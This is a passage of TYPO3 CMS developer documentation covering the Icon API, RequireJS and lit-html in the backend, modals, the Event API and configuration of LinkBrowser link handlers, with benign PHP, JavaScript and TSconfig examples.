           'provider' => \TYPO3\CMS\Core\Imaging\IconProvider\FontawesomeIconProvider::class,
            // the fontawesome icon name
           'name' => 'spinner',
            // all icon providers provide the possibility to register an icon that spins
           'spinning' => true,
       ],
   ];
Copied!

IconProvider

The TYPO3 Core ships three icon providers which can be used:

  • BitmapIconProvider – For all kinds of bitmap icons (GIF, PNG, JPEG, etc.)
  • SvgIconProvider – For SVG icons
  • FontawesomeIconProvider – For all icons which can be found in the fontawesome.io icon font

In case you need a custom icon provider, you can add your own by writing a class which implements the IconProviderInterface.

Using icons in your code

You can use the Icon API to receive icons in your PHP code or directly in Fluid.

The PHP way

You can use the IconFactory to request an icon:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use TYPO3\CMS\Core\Imaging\Icon;
use TYPO3\CMS\Core\Imaging\IconFactory;

final class MyClass
{
    private IconFactory $iconFactory;

    public function __construct(IconFactory $iconFactory)
    {
        $this->iconFactory = $iconFactory;
    }

    public function doSomething()
    {
        $icon = $this->iconFactory->getIcon(
            'tx-myext-action-preview',
            Icon::SIZE_SMALL,
            'overlay-identifier'
        );

        // Do something with the icon, for example, assign it to the view
        // $this->view->assign('icon', $icon);
    }
}
Copied!

The Fluid ViewHelper

You can also use the Fluid core:icon ViewHelper to render an icon in your view:

{namespace core = TYPO3\CMS\Core\ViewHelpers}
<core:icon identifier="my-icon-identifier" size="small" />
Copied!

This will render the desired icon using an img tag. If you prefer having the SVG inlined into your HTML (for example, for being able to change colors with CSS), you can set the optional alternativeMarkupIdentifier attribute to inline. By default, the icon will pick up the font color of its surrounding element if you use this option.

{namespace core = TYPO3\CMS\Core\ViewHelpers}
<core:icon
    identifier="my-icon-identifier"
    size="small"
    alternativeMarkupIdentifier="inline"
/>
Copied!

The JavaScript way

In JavaScript, icons can be only fetched from the Icon Registry. To achieve this, add the following dependency to your RequireJS module: TYPO3/CMS/Backend/Icons. In this section, the module is known as Icons.

The module has a single public method getIcon() which accepts up to five arguments:

identifier

| Condition: required | Type: string |

Identifier of the icon as registered in the Icon Registry.

size

| Condition: required | Type: string |

Desired size of the icon. All values of the Icons.sizes enum are allowed, these are: small, default, large and overlay.

overlayIdentifier

| Condition: optional | Type: string |

Identifier of an overlay icon as registered in the Icon Registry.

state

| Condition: optional | Type: string |

Sets the state of the icon. All values of the Icons.states enum are allowed, these are: default and disabled.

markupIdentifier

| Condition: optional | Type: string |

Defines how the markup is returned. All values of the Icons.markupIdentifiers enum are allowed, these are: default and inline. Please note that inline is only meaningful for SVG icons.

The method getIcon() returns a jQuery Promise object, as internally an Ajax request is done.

The icons are cached in the local storage of the client to reduce the workload off the server. Here is an example code how a usage of the JavaScript Icon API may look like:

Here's an example code how a usage of the JavaScript Icon API may look like:

define(['jquery', 'TYPO3/CMS/Backend/Icons'], function($, Icons) {
    // Get a single icon
    Icons.getIcon('spinner-circle-light', Icons.sizes.small).done(function(spinner) {
        console.log(spinner);
    });
});
Copied!

Available icons

The TYPO3 Core comes with a number of icons that may be used in your extensions.

To search for available icons, you can use one of these possibilities:

Install styleguide extension

Install the extension styleguide as described in the Readme in the installation section.

Once, installed, you can view available icons by selecting help (?) on the top in the TYPO3 backend, then Styleguide and then Icons, All Icons.

There, browse through existing icons. Use the name under the icon (for example actions-add) as first parameter for IconFactory::getIcon() in PHP or as value for the argument identifier in Fluid (see code examples above).

Use TYPO3.Icons

An alternative way to look for existing icons is to browse through TYPO3.Icons.

Migration

The Rector rule \\Ssch\\TYPO3Rector\\Rector\\v11\\v4\\RegisterIconToIconFileRector can be used for automatic migration.

For manual migration remove all calls to \TYPO3\CMS\Core\Imaging\IconRegistry::registerIcon() from your EXT:my_extension/ext_localconf.php and move the content to Configuration/Icons.php instead.

JavaScript in TYPO3 Backend

Some third-party JavaScript libraries are packaged with the TYPO3 source code. The TYPO3 backend itself relies on quite a lot of JavaScript to do its job. The topic of this chapter is to present how to use JavaScript properly with TYPO3, in particular in the backend. It presents the most important APIs in that regard.

Contents:

RequireJS in the TYPO3 Backend

Since TYPO3 v7 it is possible to use RequireJS in the backend. A short explanation: RequireJS enables developers to have some kind of dependency handling for JavaScript. The JavaScript is written as so-called "Asynchronous Module Definition" (AMD). Some libraries delivered with TYPO3 are written as modules.

Credits

The complete documentation about RequireJS was inspired by the blog post of Andreas Fernandez.

Overview

Use RequireJS in your own extension

To be able to use RequireJS at all, some prerequisites must be fulfilled:

  • Your extension must have a Resources/Public/JavaScript directory. That directory is used for autoloading the modules stored in your extension.
  • Each module has a namespace and a module name. The namespace is TYPO3/CMS/<EXTKEY>, <EXTKEY> is your extension key in UpperCamelCase, e.g. foo_bar = FooBar
  • The namespace maps automatic to your Resources/Public/JavaScript directory
  • The filename is the modulename + .js

Think about what's the purpose of the module. You can only write one module per file (anything else is bad practice anyway) A complete example: TYPO3/CMS/FooBar/MyMagicModule is resided in EXT:foo_bar/Resources/Public/JavaScript/MyMagicModule.js

Every AMD (Asynchronous Module Definition) is wrapped in the same construct:

define([], function() {
   // your module logic here
});
Copied!

This is the "container" of the module. It holds the module logic and takes care of dependencies.

TYPO3 defines in its own modules an object to hold the module logic in properties and methods. The object has the same name as the module. In our case "MyMagicModule":

define([], function() {
   var MyMagicModule = {
      foo: 'bar'
   };

   MyMagicModule.init = function() {
     // do init stuff
   };

   // To let the module be a dependency of another module, we return our object
   return MyMagicModule;
});
Copied!

Dependency handling

Let us try to explain the dependency handling with the most used JS lib: jQuery

To prevent the "$ is undefined" error, you should use the dependency handling of RequireJS. To get jQuery working in your code, use the following line:

define(['jquery'], function($) {
   // in this callback $ can be used
});
Copied!

The code above is very easy to understand:

  1. every dependency in the array of the first argument
  2. will be injected in the callback function at the same position

Let us combine jQuery with our own module from the Extension example

define(['jquery', 'TYPO3/CMS/FooBar/MyMagicModule'], function($, MyMagicModule) {
   // $ is our jQuery object
   // MyMagicModule is the object, which is returned from our own module
   if(MyMagicModule.foo == 'bar'){
      MyMagicModule.init();
   }
});
Copied!

Loading your own or other RequireJS modules

In case you use the ready event, you may wonder how to use the module. Answer: it depends! If you use Fluid's f:be.pageRenderer view helper add the argument includeRequireJsModules:

<f:be.pageRenderer includeRequireJsModules="{
   0:'TYPO3/CMS/FooBar/Wisdom'
}" />
Copied!

However, if you don't use Fluid you may use PageRenderer in your controller:

$pageRenderer = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance(\TYPO3\CMS\Core\Page\PageRenderer::class);
$pageRenderer->loadRequireJsModule('TYPO3/CMS/FooBar/MyMagicModule');
Copied!

Bonus: loadRequireJsModule takes a second argument $callBackFunction which is executed right after the module was loaded. The callback function must be wrapped within function() {}:

$pageRenderer->loadRequireJsModule(
   'TYPO3/CMS/FooBar/MyMagicModule',
   'function() { console.log("Loaded own module."); }'
);
Copied!

Shim Library to Use it as Own RequireJS Modules

Not all javascript libraries are compatible with RequireJS. In the rarest cases, you can adjust the library code to be AMD or UMD compatible. So you need to configure RequireJS to accept the library.

In RequireJS you can use requirejs.config({}) to shim a library. In TYPO3 the RequireJS config will be defined in the PageRenderer:

EXT:some_extension/Classes/SomeClass.php
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Core\Utility\PathUtility;
use TYPO3\CMS\Core\Page\PageRenderer;

$pageRenderer = GeneralUtility::makeInstance(PageRenderer::class);
$pageRenderer->addRequireJsConfiguration(
   [
      'paths' => [
         'jquery' => 'sysext/core/Resources/Public/JavaScript/Contrib/jquery/',
         'plupload' => PathUtility::getPublicResourceWebPath(
            'EXT:some_extension/node_modules/plupload/js/plupload.full.min'),
      ],
      'shim' => [
         'deps' => ['jquery'],
         'plupload' => ['exports' => 'plupload'],
      ],
   ]
);
Copied!

In this example we configure RequireJS to use plupload. The only dependency is jquery. We already have jquery in the TYPO3 Core extension.

After the shim and export of plupload it is usable in the dependency handling:

define([
   'jquery',
   'plupload'
], function($, plupload) {
   'use strict';
});
Copied!

Client-side templating

To avoid custom jQuery template building a slim client-side templating engine lit-html together with lit-element is used in the TYPO3 Core.

This templating engine supports conditions, iterations, events, virtual DOM, data-binding and mutation/change detections in templates.

Individual client-side templates can be processed in JavaScript directly using modern web technologies like template-strings and template-elements.

Rendering is handled by the AMD-modules lit-html and lit-element. Please consult the lit-html template-reference and the lit-element-guide for more information.

Examples

Variable assignment

import {html, render} from 'lit-html';

const value = 'World';
const target = document.getElementById('target');
render(html`<div>Hello ${value}!</div>`, target);
Copied!
<div>Hello World!</div>
Copied!

Unsafe tags would have been encoded (e.g. <b>World</b> as &lt;b&gt;World&lt;/b&gt;).

Conditions and iteration

import {html, render} from 'lit-html';
import {classMap} from 'lit-html/directives/class-map.js';

const items = ['a', 'b', 'c']
const classes = { list: true };
const target = document.getElementById('target');
const template = html`
   <ul class=${classMap(classes)}">
   ${items.map((item: string, index: number): string => {
      return html`<li>#${index+1}: ${item}</li>`
   })}
   </ul>
`;
render(template, target);
Copied!
<ul class="list">
   <li>#1: a</li>
   <li>#2: b</li>
   <li>#3: c</li>
</ul>
Copied!

The ${...} literal used in template tags can basically contain any JavaScript instruction - as long as their result can be casted to string again or is of type lit-html.TemplateResult. This allows to make use of custom conditions as well as iterations:

  • condition: ${condition ? thenReturn : elseReturn}
  • iteration: ${array.map((item) => { return item; })}

Events

Events can be bound using the @ attribute prefix.

import {html, render} from 'lit-html';

const value = 'World';
const target = document.getElementById('target');
const template = html`
   <div @click="${(evt: Event): void => { console.log(value); }}">
      Hello ${value}!
   </div>
`;
render(template, target);
Copied!

The result won't look much different than the first example - however the custom attribute @click will be transformed into an according event listener bound to the element where it has been declared.

Custom HTML elements

A web component based on the W3C custom elements ("web-components_") specification can be implemented using lit-element.

import {LitElement, html, customElement, property} from 'lit-element';

@customElement('my-element')
class MyElement extends LitElement {

 // Declare observed properties
 @property()
 value: string = 'awesome';

 // Avoid Shadow DOM so global styles apply to the element contents
 createRenderRoot(): Element|ShadowRoot {
   return this;
 }

 // Define the element's template
 render() {
   return html`<p>Hello ${this.value}!</p>`;
 }
}
Copied!
<my-element value="World"></my-element>
Copied!

This is rendered as:

<my-element value="World">
   <p>Hello world!</p>
</my-element>
Copied!

Various JavaScript modules

The following APIs are usually used in the TYPO3 backend by the Core itself but may also be used by extensions.

Contents:

Modals

Actions that require a user's attention must be visualized by modal windows.

TYPO3 provides an API as basis to create modal windows with severity representation. For better UX, if actions (buttons) are attached to the modal, one button must be a positive action. This button should get a btnClass to highlight it.

Modals should be used rarely and only for confirmations. For information that does not require a confirmation the Notification API (flash message) should be used.

For complex content, like forms or a lot of information, use normal pages.

API

The API provides only two public methods:

  1. TYPO3.Modal.confirm(title, content, severity, buttons)
  2. TYPO3.Modal.dismiss()

Button settings

text

text
Required

true

type

string

The text rendered into the button.

trigger / action

trigger / action
Required

true

type

function

Callback that is triggered on button click - either a simple function or DeferredAction / ImmediateAction

active

active
type

bool

Marks the button as active. If true, the button gets the focus.

btnClass

btnClass
type

string

The CSS class for the button.

Data Attributes

It is also possible to use data attributes to trigger a modal, for example on an anchor element, which prevents the default behavior.

data-title
The title text for the modal.
data-bs-content
The content text for the modal.
data-severity
The severity for the modal, default is info (see TYPO3.Severity.*).
data-href
The target URL, default is the href attribute of the element.
data-button-close-text
Button text for the close/cancel button.
data-button-ok-text
Button text for the ok button.
class="t3js-modal-trigger"
Marks the element as modal trigger.

Example:

<a
    href="delete.php"
    class="t3js-modal-trigger"
    data-title="Delete"
    data-bs-content="Really delete?"
>
    delete
</a>
Copied!

Examples

A basic modal (without anything special) can be created this way:

TYPO3.Modal.confirm('The title of the modal', 'This the the body of the modal');
Copied!

A modal as warning with button:

TYPO3.Modal.confirm('Warning', 'You may break the internet!', TYPO3.Severity.warning, [
  {
    text: 'Break it',
    active: true,
    trigger: function() {
      // break the net
    }
  }, {
    text: 'Abort!',
    trigger: function() {
      TYPO3.Modal.dismiss();
    }
  }
]);
Copied!

A modal as warning:

TYPO3.Modal.confirm('Warning', 'You may break the internet!', TYPO3.Severity.warning);
Copied!

Action buttons in modals created by the TYPO3/CMS/Backend/Modal module may make use of TYPO3/CMS/Backend/ActionButton/ImmediateAction and TYPO3/CMS/Backend/ActionButton/DeferredAction.

As an alternative to the existing trigger option, the option action may be used with an instance of the previously mentioned modules.

Modal.confirm('Header', 'Some content', Severity.error, [
  {
    text: 'Based on trigger()',
    trigger: function () {
      console.log('Vintage!');
    }
  },
  {
    text: 'Based on action',
    action: new DeferredAction(() => {
      return new AjaxRequest('/any/endpoint').post({});
    })
  }
]);
Copied!

Activating any action disables all buttons in the modal. Once the action is done, the modal disappears automatically.

Buttons of the type DeferredAction render a spinner on activation into the button.

Multi-step wizard

The JavaScript module MultiStepWizard can be used to show a modal multi-step wizard with the following features:

  • Navigation to previous / next steps
  • Steps may have descriptive labels like "Start" or "Finish!"
  • Steps may require actions before becoming available.

Code examples:

// Show/ hide the wizard
MultiStepWizard.show();
MultiStepWizard.dismiss();

// Add a slide to the wizard
MultiStepWizard.addSlide(
    identifier,
    stepTitle,
    content,
    severity,
    progressBarTitle,
    function() {
    ...
    }
);

// Lock/ unlock navigation buttons
MultiStepWizard.lockNextStep();
MultiStepWizard.unlockNextStep();
MultiStepWizard.lockPrevStep();
MultiStepWizard.unlockPrevStep();
Copied!

DocumentService (jQuery.ready substitute)

The module TYPO3/CMS/Core/DocumentService provides native JavaScript functions to detect DOM ready-state returning a Promise<Document>.

Internally the Promise is resolved when native DOMContentLoaded event has been emitted or when document.readyState is defined already. It means the initial HTML document has been completely loaded and parsed, without waiting for stylesheets, images, and sub-frames to finish loading.

$(document).ready(() => {
  // your application code
});
Copied!

Above jQuery code can be transformed into the following using DocumentService:

require(['TYPO3/CMS/Core/DocumentService'], function (DocumentService) {
  DocumentService.ready().then(() => {
    // your application code
  });
});
Copied!

SessionStorage wrapper

TYPO3 ships a module acting as a wrapper for sessionStorage. It behaves similar to the localStorage, except that the stored data is dropped after the browser session has ended.

The module TYPO3/CMS/Core/Storage/BrowserSession allows to store data in the sessionStorage.

API methods

get(key)
Fetches the data behind the key.
set(key, value)
Sets/overrides a key with any arbitrary content.
isset(key) (bool)
Checks if the key is in use.
unset(key)
Removes a key from the storage.
clear()
Empties all data inside the storage.
unsetByPrefix(prefix)
Empties all data inside the storage with their keys starting with a prefix.

Event Api

The TYPO3 JavaScript Event API enables JavaScript developers to have a stable event listening interface. The API takes care of common pitfalls like event delegation and clean event unbinding.

Event Binding

Each event strategy (see below) has two ways to bind a listener to an event:

Direct Binding

The event listener is bound to the element that triggers the event. This is done by using the method bindTo(), which accepts any element, document and window.

Example:

require(['TYPO3/CMS/Core/Event/RegularEvent'], function (RegularEvent) {
  new RegularEvent('click', function (e) {
    // Do something
  }).bindTo(document.querySelector('#my-element'));
});
Copied!

Event Delegation

The event listener is called if the event was triggered to any matching element inside its bound element.

Example:

require(['TYPO3/CMS/Core/Event/RegularEvent'], function (RegularEvent) {
  new RegularEvent('click', function (e) {
    // Do something
  }).delegateTo(document, 'a[data-action="toggle"]');
});
Copied!

The event listener is now called every time the element matching the selector a[data-action="toggle"] within document is clicked.

Release an event

Since each event is an object instance, it's sufficient to call release() to detach the event listener.

Example:

require(['TYPO3/CMS/Core/Event/RegularEvent'], function (RegularEvent) {
  const clickEvent = new RegularEvent('click', function (e) {
    // Do something
  }).delegateTo(document, 'a[data-action="toggle"]');

  // Do more stuff

  clickEvent.release();
});
Copied!

Event Strategies

The Event API brings several strategies to handle event listeners:

RegularEvent

The RegularEvent attaches a simple event listener to an event and element and has no further tweaks. This is the common use-case for event handling.

Arguments:

  • eventName (string) - the event to listen on
  • callback (function) - the event listener

Example:

require(['TYPO3/CMS/Core/Event/RegularEvent'], function (RegularEvent) {
  new RegularEvent('click', function (e) {
    e.preventDefault();
    window.location.reload();
  }).bindTo(document.querySelector('#my-element'));
});
Copied!

DebounceEvent

The DebounceEvent is most suitable if an event is triggered quite often but executing the event listener is called only after a certain wait time.

Arguments:

  • eventName (string) - the event to listen on
  • callback (function) - the event listener
  • wait (number) - the amount of milliseconds to wait before the event listener is called
  • immediate (boolean) - if true, the event listener is called right when the event started

Example:

require(['TYPO3/CMS/Core/Event/DebounceEvent'], function (DebounceEvent) {
  new DebounceEvent('mousewheel', function (e) {
    console.log('Triggered once after 250ms!');
  }, 250).bindTo(document);
});
Copied!

ThrottleEvent

Arguments:

  • eventName (string) - the event to listen on
  • callback (function) - the event listener
  • limit (number) - the amount of milliseconds to wait before the event listener is called

The ThrottleEvent is similar to the DebounceEvent. The important difference is that the event listener is called after the configured wait time during the overall event time.

If an event time is about 2000ms and the wait time is configured to be 100ms, the event listener gets called up to 20 times in total (2000 / 100).

Example:

require(['TYPO3/CMS/Core/Event/ThrottleEvent'], function (ThrottleEvent) {
  new ThrottleEvent('mousewheel', function (e) {
    console.log('Triggered every 100ms!');
  }, 100).bindTo(document);
});
Copied!

RequestAnimationFrameEvent

The RequestAnimationFrameEvent binds its execution to the browser's RequestAnimationFrame API. It is suitable for event listeners that manipulate the DOM.

Arguments:

  • eventName (string) - the event to listen on
  • callback (function) - the event listener

Example:

require(['TYPO3/CMS/Core/Event/RequestAnimationFrameEvent'], function (RequestAnimationFrameEvent) {
  new RequestAnimationFrameEvent('mousewheel', function (e) {
    console.log('Triggered every 16ms (= 60 FPS)!');
  });
});
Copied!

JavaScript Form Helpers

Empty Checkbox Handling

<input type="checkbox" name="setting" value="1" data-empty-value="0"
   data-global-event="change" data-action-navigate="$data=~s/$value/">
Copied!

Checkboxes used to send a particular value when unchecked can be achieved by using data-empty-value="0". If this attribute is omitted, an empty string '' is sent.

Submitting a Form on Change

<input type="checkbox" data-global-event="change" data-action-submit="$form">
<!-- ... or (using CSS selector) ... -->
<input type="checkbox" data-global-event="change" data-action-submit="#formIdentifier">
Copied!

Submits a form once a value has been changed. ($form refers to parent form element, using CSS selectors like #formIdentifier is possible as well)

LinkBrowser API

Description

Each tab rendered in the link browser has an associated link handler, responsible for rendering the tab and for creating and editing of links belonging to this tab.

Here is an example for a custom link handler in the link browser:

A custom link browser to link to GitHub issues

In most use cases, you can use one of the link handlers provided by the Core. For an example, see Tutorial: Custom record link browser.

If no link handler is available to deal with your link type, you can create a custom link handler. See Tutorial: Create a custom link browser.

Tab registration

LinkBrowser tabs are registered in page TSconfig like this:

EXT:some_extension/Configuration/page.tsconfig
TCEMAIN.linkHandler.<tabIdentifier> {
    handler = TYPO3\CMS\Recordlist\LinkHandler\FileLinkHandler
    label = LLL:EXT:recordlist/Resources/Private/Language/locallang_browse_links.xlf:file
    displayAfter = page
    scanAfter = page
    configuration {
        customConfig = passed to the handler
    }
}
Copied!

The options displayBefore and displayAfter define the order how the various tabs are displayed in the LinkBrowser.

The options scanBefore and scanAfter define the order in which handlers are queried when determining the responsible tab for an existing link. Most likely your links will start with a specific prefix to identify them. Therefore you should register your tab at least before the 'url' handler, so your handler can advertise itself as responsible for the given link. The 'url' handler should be treated as last resort as it will work with any link.

Hooks

You may have the need to modify the list of available LinkHandlers based on some dynamic value. For this purpose you can register hooks.

The registration of a LinkBrowser hook generally happens in your ext_tables.php and looks like:

EXT:site_package/ext_tables.php
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['LinkBrowser']['hooks'][1444048118] = [
    'handler' => \Vendor\Ext\MyClass::class,
    'before' => [], // optional
    'after' => [] // optional
];
Copied!

The before and after elements allow to control the execution order of all registered hooks.

Currently the following list of hooks is implemented:

modifyLinkHandlers(linkHandlers, currentLinkParts)
May modify the list of available LinkHandlers and has to return the final list.
modifyAllowedItems(allowedTabs, currentLinkParts)
May modify the list of available tabs and has to return the final list.

The LinkHandler API

The LinkHandler API currently consists of 7 LinkHandler classes and the \TYPO3\CMS\Recordlist\LinkHandler\LinkHandlerInterface . The LinkHandlerInterface can be implemented to create custom LinkHandlers.

Most LinkHandlers cannot receive additional configuration, they are marked as @internal and contain neither hooks nor events. They are therefore of interest to Core developers only.

Current LinkHandlers:

  • The PageLinkHandler: for linking pages and content
  • The RecordLinkHandler: for linking any kind of record
  • UrlLinkHandler: for linking external urls
  • FileLinkHandler: for linking files in the File abstraction layer (FAL)
  • FolderLinkHandler: for linking to directories
  • MailLinkHandler: for linking mail
  • TelephoneLinkHandler: for linking phone numbers

The following LinkHandlers are of interest:

The links are now stored in the database with the syntax <a href="t3://record?identifier=anIdentifier&amp;uid=456">A link</a>.

  1. TypoScript is used to generate the actual link in the frontend.

    config.recordLinks.anIdentifier {
        // Do not force link generation when the record is hidden
        forceLink = 0
        typolink {
            parameter = 123
            additionalParams.data = field:uid
            additionalParams.wrap = &tx_example_pi1[item]=|&tx_example_pi1[controller]=Item&tx_example_pi1[action]=show
        }
    }
    Copied!

LinkHandler page TSconfig options

The minimal page TSconfig configuration is:

EXT:some_extension/Configuration/page.tsconfig
TCEMAIN.linkHandler.anIdentifier {
    handler = TYPO3\CMS\Recordlist\LinkHandler\RecordLinkHandler
    label = LLL:EXT:extension/Resources/Private/Language/locallang.xlf:link.customTab
    configuration {
        table = tx_example_domain_model_item
    }
}
Copied!

See Link handler configuration for all available options.

Example: news records from one storage pid

The following configuration hides the page tree and shows news records only from the defined storage page:

EXT:some_extension/Configuration/page.tsconfig
TCEMAIN.linkHandler.news {
    handler = TYPO3\CMS\Recordlist\LinkHandler\RecordLinkHandler
    label = News
    configuration {
        table = tx_news_domain_model_news
        storagePid = 123
        hidePageTree = 1
    }
    displayAfter = mail
}
Copied!

It is possible to have another configuration using another storagePid which also contains news records.

This configuration shows a reduced page tree starting at page with uid 42:

EXT:some_extension/Configuration/page.tsconfig
TCEMAIN.linkHandler.bookreports {
    handler = TYPO3\CMS\Recordlist\LinkHandler\RecordLinkHandler
    label = Book Reports
    configuration {
        table = tx_news_domain_model_news
        storagePid = 42
        pageTreeMountPoints = 42
        hidePageTree = 0
    }
}
Copied!

The PageTSconfig of the LinkHandler is being used in sysext recordlist in class \TYPO3\CMS\Recordlist\LinkHandler\RecordLinkHandler which does not contain Hooks or Slots.

LinkHandler TypoScript options

A configuration could look like this:

EXT:some_extension/Configuration/TypoScript/setup.typoscript
config.recordLinks.anIdentifier {
    forceLink = 0

    typolink {
        parameter = 123
        additionalParams.data = field:uid
        additionalParams.wrap = &tx_example_pi1[item]=|
    }
}
Copied!

The TypoScript Configuration of the LinkHandler is being used in sysext frontend in class \TYPO3\CMS\Frontend\Typolink\DatabaseRecordLinkBuilder .

Example: news records displayed on fixed detail page

The following displays the link to the news on a detail page:

EXT:some_extension/Configuration/TypoScript/setup.typoscript
config.recordLinks.news {
   typolink {
      parameter = 123
      additionalParams.data = field:uid
      additionalParams.wrap = &tx_news_pi1[controller]=News&tx_news_pi1[action]=detail&tx_news_pi1[news]=|
   }
}
Copied!

Once more if the book reports that are also saved as tx_news_domain_model_news record should be displayed on their own detail page you can do it like this:

EXT:some_extension/Configuration/TypoScript/setup.typoscript
config.recordLinks.bookreports  {
   typolink {
      parameter = 987
      additionalParams.data = field:uid
      additionalParams.wrap = &tx_news_pi1[controller]=News&tx_news_pi1[action]=detail&tx_news_pi1[news]=|
   }
}
Copied!

The PageLinkHandler

The PageLinkHandler enables editors to link to pages and content.

It is implemented in class \TYPO3\CMS\Recordlist\LinkHandler\PageLinkHandler of the system extension recordlist. The class is marked as @internal and contains neither hooks nor events.

The PageLinkHandler is preconfigured in the page TSconfig as:

EXT:some_extension/Configuration/page.tsconfig
TCEMAIN.linkHandler {
   page {
      handler = TYPO3\\CMS\\Recordlist\\LinkHandler\\PageLinkHandler
      label = LLL:EXT:recordlist/Resources/Private/Language/locallang_browse_links.xlf:page
   }
}
Copied!

Enable direct input of the page id

It is possible to enable an additional field in the link browser to enter the uid of a page. The uid will be used directly instead of selecting it from the page tree.

The link browser field for entering a page uid.

Enable the field with the following page TSConfig:

EXT:some_extension/Configuration/page.tsconfig
TCEMAIN.linkHandler.page.configuration.pageIdSelector.enabled = 1
Copied!

The RecordLinkHandler

The RecordLinkHandler enables editors to link to single records, for example the detail page of a news record.

You can find examples here:

The handler is implemented in class \TYPO3\CMS\Backend\LinkHandler\RecordLinkHandler of the system extension backend. The class is marked as @internal and contains neither hooks nor events.

In order to use the RecordLinkHandler it can be configured as following:

  1. Page TSconfig is used to create a new tab in the LinkBrowser to be able to select records.

    TCEMAIN.linkHandler.anIdentifier {
        handler = TYPO3\CMS\Recordlist\LinkHandler\RecordLinkHandler
        label = LLL:EXT:extension/Resources/Private/Language/locallang.xlf:link.customTab
        configuration {
            table = tx_example_domain_model_item
        }
        scanAfter = page
    }
    Copied!

    You can position your own handlers in order as defined in the LinkBrowser API.

    The links are now stored in the database with the syntax <a href="t3://record?identifier=anIdentifier&amp;uid=456">A link</a>.

  2. TypoScript configures how the link will be displayed in the frontend.

    config.recordLinks.anIdentifier {
        // Do not force link generation when the record is hidden
        forceLink = 0
        typolink {
            parameter = 123
            additionalParams.data = field:uid
            additionalParams.wrap = &tx_example_pi1[item]=|&tx_example_pi1[controller]=Item&tx_example_pi1[action]=show
        }
    }
    Copied!

RecordLinkHandler page TSconfig options

The minimal page TSconfig configuration is:

EXT:some_extension/Configuration/page.tsconfig
TCEMAIN.linkHandler.anIdentifier {
    handler = TYPO3\CMS\Recordlist\LinkHandler\RecordLinkHandler
    label = LLL:EXT:extension/Resources/Private/Language/locallang.xlf:link.customTab
    configuration {
        table = tx_example_domain_model_item
    }
}
Copied!

The following optional configuration is available:

configuration.hidePageTree = 1
Hide the page tree in the link browser
configuration.storagePid = 84
The link browser starts with the given page
configuration.pageTreeMountPoints = 123,456
Only records on these pages and their children will be displayed

Furthermore the following options are available from the LinkBrowser Api:

configuration.scanAfter = page or configuration.scanBefore = page
Define the order in which handlers are queried when determining the responsible tab for an existing link
configuration.displayBefore = page or configuration.displayAfter = page
Define the order of how the various tabs are displayed in the link browser.

LinkHandler TypoScript options

A configuration could look like this:

EXT:some_extension/Configuration/TypoScript/setup.typoscript
config.recordLinks.anIdentifier {
    forceLink = 0

    typolink {
        parameter = 123
        additionalParams.data = field:uid
        additionalParams.wrap = &tx_example_pi1[item]=|
    }
}
Copied!

The TypoScript Configuration of the LinkHandler is being used in sysext frontend in class \TYPO3\CMS\Frontend\Typolink\DatabaseRecordLinkBuilder .

Implementing a custom LinkHandler

It is possible to implement a custom LinkHandler if links are to be created and handled that cannot be handled by any of the Core LinkHandlers.

The example below is part of the TYPO3 Documentation Team extension examples.

Implementing the LinkHandler

You can have a look at the existing LinkHandler in the system Extension recordlist, found at typo3/sysext/recordlist/Classes/LinkHandler.

However please note that all these extensions extend the AbstractLinkHandler, which is marked as @internal and subject to change without further notice.

You should therefore implement the interface LinkHandlerInterface in your own custom LinkHandlers:

EXT:some_extension/Classes/LinkHandler/GitHubLinkHandler.php
<?php
namespace T3docs\Examples\LinkHandler;

# use ...
use TYPO3\CMS\Recordlist\LinkHandler\LinkHandlerInterface;

class GitHubLinkHandler implements LinkHandlerInterface
{
   protected $linkAttributes = ['target', 'title', 'class', 'params', 'rel'];
   protected $view;
   protected $configuration;

   /**
   * Initialize the handler
   *
   * @param AbstractLinkBrowserController $linkBrowser
   * @param string $identifier
   * @param array $configuration Page TSconfig
   */
   public function initialize(AbstractLinkBrowserController $linkBrowser, $identifier, array $configuration)
   {
      $this->linkBrowser = $linkBrowser;
      $this->iconFactory = GeneralUtility::makeInstance(IconFactory::class);
      $this->view = GeneralUtility::makeInstance(StandaloneView::class);
      $this->view->getRequest()->setControllerExtensionName('examples');
      $this->view->setTemplateRootPaths([GeneralUtility::getFileAbsFileName('EXT:examples/Resources/Private/Templates/LinkBrowser')]);
      $this->configuration = $configuration;
   }

   /**
   * Checks if this is the handler for the given link
   *
   * Also stores information locally about currently linked issue
   *
   * @param array $linkParts Link parts as returned from TypoLinkCodecService
   *
   * @return bool
   */
   public function canHandleLink(array $linkParts)
   {
      if (isset($linkParts['url']['github'])) {
         $this->linkParts = $linkParts;
         return true;
      }
      return false;
   }

   /**
   * Format the current link for HTML output
   *
   * @return string
   */
   public function formatCurrentUrl(): string
   {
      return $this->linkParts['url']['github'];
   }


   /**
   * Render the link handler
   *
   * @param ServerRequestInterface $request
   *
   * @return string
   */
   public function render(ServerRequestInterface $request): string
   {
      GeneralUtility::makeInstance(PageRenderer::class)
         ->loadRequireJsModule('TYPO3/CMS/Examples/GitHubLinkHandler');

      $this->view->assign('project', $this->configuration['project']);
      $this->view->assign('action', $this->configuration['action']);
      $this->view->assign('github', !empty($this->linkParts) ? $this->linkParts['url']['github'] : '');
      return $this->view->render('GitHub');
   }

   /**
   * @return string[] Array of body-tag attributes
   */
   public function getBodyTagAttributes(): array
   {
      return [];
   }

   /**
   * @return array
   */
   public function getLinkAttributes()
   {
      return $this->linkAttributes;
   }

   /**
   * @param string[] $fieldDefinitions Array of link attribute field definitions
   * @return string[]
   */
   public function modifyLinkAttributes(array $fieldDefinitions)
   {
      return $fieldDefinitions;
   }

   /**
   * We don't support updates since there is no difference to simply set the link again.
   *
   * @return bool
   */
   public function isUpdateSupported()
   {
      return FALSE;
   }
}
Copied!

The LinkHandler then has to be registered via page TSCONFIG:

EXT:some_extension/Configuration/page.tsconfig
TCEMAIN.linkHandler {
   github {
      handler = T3docs\\Examples\\LinkHandler\\GitHubLinkHandler
      label = LLL:EXT:examples/Resources/Private/Language/locallang_browse_links.xlf:github
      displayAfter = url
      scanBefore = url
      configuration {
          project = TYPO3-Documentation/TYPO3CMS-Reference-CoreApi
          action = issues
      }
   }
}
Copied!

And the JavaScript, depending on RequireJS in the TYPO3 Backend, has to be added in a file examples/Resources/Public/JavaScript/GitHubLinkHandler.js:

/**
 * Module: TYPO3/CMS/Examples/GitHubLinkHandler
 * Github issue link interaction
 */
